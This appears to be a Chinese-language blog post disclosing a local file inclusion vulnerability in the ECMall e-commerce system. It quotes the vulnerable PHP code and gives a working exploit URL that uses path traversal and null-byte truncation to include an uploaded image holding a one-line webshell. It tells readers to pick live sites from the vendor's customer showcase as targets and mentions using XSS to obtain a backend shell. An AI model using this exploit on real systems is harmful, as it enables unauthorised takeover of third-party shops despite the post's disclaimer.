ECMall 社区电子商务系统(简称ECMall)是上海商派网络科技有限公司继ECShop 之后推出的又一个电子商务姊妹产品。
最近看到乌云上暴了一个ecmall全版文件包函漏洞、其实自己早在去年做ecmall二次开发的时候也发现了一个本地文件包函漏洞和xss、不知道和乌云上的哪个是不是一样。
出现的地方比较杯具,是一个核心文件里面、在eccore/ecmall.php文件里。大概78行左右吧。
//只判断是app是否设置,然后去掉了两端空格
$app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;
$act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;
//很明显可以看出$app是我们可以控制的、由于后面连接了.app.php所以利用的时候要截断。
$app_file = $config['app_root'] . "/{$app}.app.php";
//应为是本地包函、所以is_file是为真的
if (!is_file($app_file))
{
exit('Missing controller');
}
//这里直接就包函了,这么底级的漏洞、我都不好说什么了.
require($app_file);
Exp:http://xxxx.com/index.php?app=../data/files/mall/application/store_516_1.jpg%00.
测试:
到官方的用户展示里挑几个目标测试一下。
注册一个用户、上传头像或者其他上传地方上传一张函一句话的图片、包函进来即可.
将图片路径替换exp里的路径、后面的%00.就是前面所说的截断00后面有个点看清楚.
注:须要在GPC没打开时方能利用成功、所以说还是有一点鸡肋的,不要用来做坏事、产生任何后果与本人无关。
其他地方还有很多xss、用xss来拿shell的成功率要高很多、因为后台可以拿shell。匆忙乱写的比较乱呀、见笑鸟,有机会写个其他类型的。